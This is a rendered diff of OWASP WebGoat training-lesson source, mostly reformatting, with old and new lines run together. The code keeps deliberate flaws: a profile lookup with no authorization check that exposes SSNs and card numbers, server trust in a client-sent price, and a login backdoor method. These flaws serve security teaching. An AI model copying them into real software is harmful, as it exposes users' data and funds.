// FIXME: Maybe we should forward to Login. // FIXME: Maybe we should forward to Login.
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -75,7 +68,6 @@ public class Logout extends DefaultLessonAction
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return chainedAction.getNextPage(s); return chainedAction.getNextPage(s);

36
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java
View File

@ -1,46 +1,44 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class SearchStaff extends DefaultLessonAction public class SearchStaff extends DefaultLessonAction
{ {
public SearchStaff(GoatHillsFinancial lesson, String lessonName, public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.SEARCHSTAFF_ACTION; return GoatHillsFinancial.SEARCHSTAFF_ACTION;

143
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
@ -12,32 +12,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
@ -46,66 +45,45 @@ public class UpdateProfile extends DefaultLessonAction
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthenticatedException, UnauthorizedException, UnauthorizedException, ValidationException
ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ GoatHillsFinancial.USER_ID);
int subjectId = s.getParser().getIntParameter( int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0);
GoatHillsFinancial.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter( String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME);
GoatHillsFinancial.FIRST_NAME); String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME);
String lastName = s.getParser().getStringParameter( String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN);
GoatHillsFinancial.LAST_NAME); String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE);
String ssn = s.getParser().getStringParameter( String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER);
GoatHillsFinancial.SSN); String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1);
String title = s.getParser().getStringParameter( String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2);
GoatHillsFinancial.TITLE); int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER);
String phone = s.getParser().getStringParameter( String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE);
GoatHillsFinancial.PHONE_NUMBER); int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY);
String address1 = s.getParser().getStringParameter( String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN);
GoatHillsFinancial.ADDRESS1); int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT);
String address2 = s.getParser().getStringParameter( String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE);
GoatHillsFinancial.ADDRESS2); String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES);
int manager = s.getParser().getIntParameter( String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION);
GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(
GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(
GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(
GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(
GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
ssn, title, phone, address1, address2, manager, startDate, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
salary, ccn, ccnLimit, disciplinaryActionDate, personalDescription);
disciplinaryActionNotes, personalDescription);
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
@ -114,13 +92,11 @@ public class UpdateProfile extends DefaultLessonAction
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} } catch (UnauthenticatedException ue1)
catch (UnauthenticatedException ue1)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
System.out.println("Internal server error"); System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
@ -135,8 +111,8 @@ public class UpdateProfile extends DefaultLessonAction
return GoatHillsFinancial.VIEWPROFILE_ACTION; return GoatHillsFinancial.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
Employee employee) throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
@ -146,7 +122,9 @@ public class UpdateProfile extends DefaultLessonAction
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -162,15 +140,13 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
@ -182,20 +158,16 @@ public class UpdateProfile extends DefaultLessonAction
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement( Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} } catch (ClassNotFoundException e)
catch (ClassNotFoundException e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();
@ -203,8 +175,7 @@ public class UpdateProfile extends DefaultLessonAction
return uid + 1; return uid + 1;
} }
public void createEmployeeProfile(WebSession s, int userId, public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
Employee employee) throws UnauthorizedException
{ {
try try
{ {
@ -231,14 +202,12 @@ public class UpdateProfile extends DefaultLessonAction
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();

102
main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java
View File

@ -1,80 +1,72 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial; package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException; import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException; import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthorizedException
UnauthenticatedException, UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ GoatHillsFinancial.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter( employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
GoatHillsFinancial.EMPLOYEE_ID); } catch (ParameterNotFoundException e)
}
catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+ GoatHillsFinancial.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
@ -86,55 +78,41 @@ public class ViewProfile extends DefaultLessonAction
return GoatHillsFinancial.VIEWPROFILE_ACTION; return GoatHillsFinancial.VIEWPROFILE_ACTION;
} }
protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
protected Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+ subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("first_name"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("last_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("ssn"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getString("title"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getString("phone"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getString("address1"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("address2"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description"));
.getInt("manager"), answer_results /*
.getString("start_date"), answer_results * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
.getInt("salary"), answer_results * profile.getLastName() + " (" + profile.getId() + ")");
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/} */}
} } catch (SQLException sqle)
catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();

61
main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -22,32 +22,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -57,11 +56,10 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class HiddenFieldTampering extends LessonAdapter public class HiddenFieldTampering extends LessonAdapter
{ {
public final static A ASPECT_LOGO = public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
new A().setHref("http://www.aspectsecurity.com").addElement( .addElement(
new IMG("images/logos/aspect.jpg") new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setAlt("Aspect Security").setBorder(0) .setVspace(0));
.setHspace(0).setVspace(0));
private final static String PRICE = "Price"; private final static String PRICE = "Price";
@ -69,14 +67,14 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99"; private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit! String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit!
Pattern pattern1 = Pattern.compile(regex); Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
"<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); " + "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
+" document.form." + PRICE + ".value = " + PRICE_TV + ";}" + " document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "else document.form.submit();"
+ lineSep + "else document.form.submit();" + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep; + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
/** /**
* Constructor for the HiddenFieldScreen object * Constructor for the HiddenFieldScreen object
@ -104,8 +102,7 @@ public class HiddenFieldTampering extends LessonAdapter
price = s.getParser().getRawParameter(PRICE, PRICE_TV); price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f); quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price); total = quantity * Float.parseFloat(price);
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Invaild data " + this.getClass().getName()); s.setMessage("Invaild data " + this.getClass().getName());
price = PRICE_TV; price = PRICE_TV;
@ -162,7 +159,8 @@ public class HiddenFieldTampering extends LessonAdapter
ec.addElement(input); ec.addElement(input);
ec.addElement(new BR()); ec.addElement(new BR());
} else }
else
{ {
if (!price.toString().equals(PRICE_TV)) if (!price.toString().equals(PRICE_TV))
{ {
@ -212,8 +210,7 @@ public class HiddenFieldTampering extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
"Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
return (instructions); return (instructions);
} }

90
main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java
View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -17,36 +17,34 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH; import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -55,7 +53,10 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class HtmlClues extends LessonAdapter public class HtmlClues extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Field * Description of the Field
@ -67,11 +68,11 @@ public class HtmlClues extends LessonAdapter
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private boolean backdoor(WebSession s) private boolean backdoor(WebSession s)
@ -84,11 +85,11 @@ public class HtmlClues extends LessonAdapter
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -113,8 +114,7 @@ public class HtmlClues extends LessonAdapter
{ {
ec.addElement(makeLogin(s)); ec.addElement(makeLogin(s));
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
@ -122,35 +122,34 @@ public class HtmlClues extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
